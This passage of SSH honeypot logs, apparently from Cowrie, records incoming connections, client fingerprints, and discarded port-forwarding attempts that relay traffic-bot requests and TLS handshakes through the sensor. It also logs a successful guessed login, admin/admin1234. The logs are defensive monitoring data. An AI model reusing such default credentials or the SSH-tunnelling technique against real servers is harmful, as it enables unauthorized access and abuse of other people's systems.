deflate\\r\\n\\r\\n_=SzFEJEFjPFFuTyFvKCRoeA%3D%3DY2TeiXfGytB%2FzrrHrxFZD61LV5HyavxCDWaEaFUjtGxd34tO%2Ffl92FePokOtY3NFRjwUT1KPxo0BkLT%2FAHfRyzqfdBtGSpbjm1F1%2FMCO2k1lL62FMzpjnrY2vbiy1UDWizAfKGLN12se6l4o8hCEslX3p8h%2BVKhkKhaPBAOSBq5G28%2Bo%2B3oImMf%2BbNE9gwEufqDmfKGAEwgaY3EHoTFfSVBx6TSssuOIf9Ah7j20IsdqHP7KAjY%2Fqfh51%2FuuzIxG8EKtSC10zl3gVaBoWXtSXBhGMXh6suJgRw%2BSqgdZ15NosJKuqH5gXPZ3IrIettQBYzzuMdvlfkXXkAS7kY%2F577YdPopqDofbDS2WJcS6relulHjDrxsgBJZ%2F6F3KklPBzmuoJGU1CE5ytCm5YvyLSTC6sIaaQgo5mrkbcKG99hVnQiSj5CuVxF3RsDjz7y3nhUkhQDmtmPVLAiZNfWmXUXqeivh6hM1bmrcBx5g9H8X2u6tu9KEaMYMybUBbPQW%2F5%2BdlkwQCu5RkutCV%2BEzkMWiDkwVPKKcC9N9yBWn1%2BqIe9S3%2BakDEzuKdM5tJmpXCUmEvDzkTRn6zS9GJfr72PikgojXyLoGA7bJDdo58RwiEz5vyXW6rKvplcIsURwg0M4oJlU3BKfNBi5At2KD4cP1htiXQr6gNU9%2BMNdhj%2Bm98N0afC5JOuIVRqMH8stzRFUWGlhV3AY%2Bz8d45uOvWZK6gHmnqPEiAEw%2FeF9DwpJlkcEytSUxjZAYpOT0%2BSc%2F%2Btk1kFShBHIc9iCyUn0sieJpI8VpUvx8BsN5tx03u14m10JNpeIA%2Bcpdfy%2BIFXFylJ8TDdCpTAQvg36NAC00cR8Wm9vPvSPPxLDl3IxhRVAiyoOhYDrg0c%2F7g2jjwxnCQhOeQpxZH3A130sLPTjyjHLGEKwfeiHECh1CD%2BnYtDejQRwLlT9MXN8%2BPCynUW7udjJJwT3imnSKWdtqL1d3of%2BSTHXhJGrrQywSogP3NMueww%2Fj5QWCnflDy3kZk2Gkb341af%2By2H0jONE1mNPL%2F1uWftaoPUC5bC0ZAZ%2BbpIPM%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T510 Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SzFEJEFjPFFuTyFvKCRoeA%3D%3DY2TeiXfGytB%2FzrrHrxFZD61LV5HyavxCDWaEaFUjtGxd34tO%2Ffl92FePokOtY3NFRjwUT1KPxo0BkLT%2FAHfRyzqfdBtGSpbjm1F1%2FMCO2k1lL62FMzpjnrY2vbiy1UDWizAfKGLN12se6l4o8hCEslX3p8h%2BVKhkKhaPBAOSBq5G28%2Bo%2B3oImMf%2BbNE9gwEufqDmfKGAEwgaY3EHoTFfSVBx6TSssuOIf9Ah7j20IsdqHP7KAjY%2Fqfh51%2FuuzIxG8EKtSC10zl3gVaBoWXtSXBhGMXh6suJgRw%2BSqgdZ15NosJKuqH5gXPZ3IrIettQBYzzuMdvlfkXXkAS7kY%2F577YdPopqDofbDS2WJcS6relulHjDrxsgBJZ%2F6F3KklPBzmuoJGU1CE5ytCm5YvyLSTC6sIaaQgo5mrkbcKG99hVnQiSj5CuVxF3RsDjz7y3nhUkhQDmtmPVLAiZNfWmXUXqeivh6hM1bmrcBx5g9H8X2u6tu9KEaMYMybUBbPQW%2F5%2BdlkwQCu5RkutCV%2BEzkMWiDkwVPKKcC9N9yBWn1%2BqIe9S3%2BakDEzuKdM5tJmpXCUmEvDzkTRn6zS9GJfr72PikgojXyLoGA7bJDdo58RwiEz5vyXW6rKvplcIsURwg0M4oJlU3BKfNBi5At2KD4cP1htiXQr6gNU9%2BMNdhj%2Bm98N0afC5JOuIVRqMH8stzRFUWGlhV3AY%2Bz8d45uOvWZK6gHmnqPEiAEw%2FeF9DwpJlkcEytSUxjZAYpOT0%2BSc%2F%2Btk1kFShBHIc9iCyUn0sieJpI8VpUvx8BsN5tx03u14m10JNpeIA%2Bcpdfy%2BIFXFylJ8TDdCpTAQvg36NAC00cR8Wm9vPvSPPxLDl3IxhRVAiyoOhYDrg0c%2F7g2jjwxnCQhOeQpxZH3A130sLPTjyjHLGEKwfeiHECh1CD%2BnYtDejQRwLlT9MXN8%2BPCynUW7udjJJwT3imnSKWdtqL1d3of%2BSTHXhJGrrQywSogP3NMueww%2Fj5QWCnflDy3kZk2Gkb341af%2By2H0jONE1mNPL%2F1uWftaoPUC5bC0ZAZ%2BbpIPM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:12.590051Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14320,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e4ac07884b1","protocol":"ssh","message":"New connection: 91.92.40.36:14320 (159.203.135.109:22) [session: 7e4ac07884b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:13.658466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:13.801446Z","src_ip":"91.92.40.36","session":"7e4ac07884b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:13.911653Z","src_ip":"91.92.40.36","session":"3db36aa3cb1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.424943Z","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":53656,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5a501be3094","protocol":"ssh","message":"New connection: 173.208.188.210:53656 (10.17.0.5:22) [session: b5a501be3094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.443640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.447969Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.464512Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xffT\\xd7J#\\xd2\\xb9e\\\\pn%\\x15\\xc8\\xfe\\xcb\\xdd\\xb9;\\x9f\\xfc\\x06\\xd1\\x1a\\x84\\xa9\\xc4g\\xd7\\xfb\\xbf\\xdf K\\xa8\"\\x15\\x14\\xd7\\xb8\\xba\\xd9h_\\xeai\\xe2=_7f\\xc7Gu\\xb5\\xbc\\xf2Y\\x81)|\\x8d\\xca\\xdc\\xeb\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\x15lX_!\\xc3]3Q\\xb408\\x10\\xf7\\x9f\\xeb\\x981>\\xa5\\x16\\xba\\xae\\x0c\\xc0A\\x93s\\xa8>y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xffT\\xd7J#\\xd2\\xb9e\\\\pn%\\x15\\xc8\\xfe\\xcb\\xdd\\xb9;\\x9f\\xfc\\x06\\xd1\\x1a\\x84\\xa9\\xc4g\\xd7\\xfb\\xbf\\xdf K\\xa8\"\\x15\\x14\\xd7\\xb8\\xba\\xd9h_\\xeai\\xe2=_7f\\xc7Gu\\xb5\\xbc\\xf2Y\\x81)|\\x8d\\xca\\xdc\\xeb\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\x15lX_!\\xc3]3Q\\xb408\\x10\\xf7\\x9f\\xeb\\x981>\\xa5\\x16\\xba\\xae\\x0c\\xc0A\\x93s\\xa8>y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.469420Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.506017Z","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.544231Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031&\\x19\\xb4\\xb3\\xe2\\x93\\xf8?\\x9f\\x9cRMN\\x03~9\\xe9c\\xceH\\xea\\xeb\\xac,\\xf3j\\xa8\\xd0\\xef\\xc6i L\\xdb\\x02\\xf8\\xe2#\\xce\\xc6=ur\\x04\\x89@P\\x90\\x99B*J\\xf8\\xa9y\\xae\\x90\\x19\\xa12\\t\\x17\\xa8\\n\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x9d@5[\\x17\\xe6\\x18\\xee\\x1f\\x03\\xf5\\xff4l\\x01*L7\\xf4\\\\\\x1b\\x88#y;\\xfby\\xb3\\xc7\\xd3\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031&\\x19\\xb4\\xb3\\xe2\\x93\\xf8?\\x9f\\x9cRMN\\x03~9\\xe9c\\xceH\\xea\\xeb\\xac,\\xf3j\\xa8\\xd0\\xef\\xc6i L\\xdb\\x02\\xf8\\xe2#\\xce\\xc6=ur\\x04\\x89@P\\x90\\x99B*J\\xf8\\xa9y\\xae\\x90\\x19\\xa12\\t\\x17\\xa8\\n\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x9d@5[\\x17\\xe6\\x18\\xee\\x1f\\x03\\xf5\\xff4l\\x01*L7\\xf4\\\\\\x1b\\x88#y;\\xfby\\xb3\\xc7\\xd3\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.547402Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:14.626823Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:15.184798Z","src_ip":"91.92.40.36","session":"7e4ac07884b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:15.190990Z","src_ip":"23.175.50.51","session":"c7185eb35657","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:15.748803Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
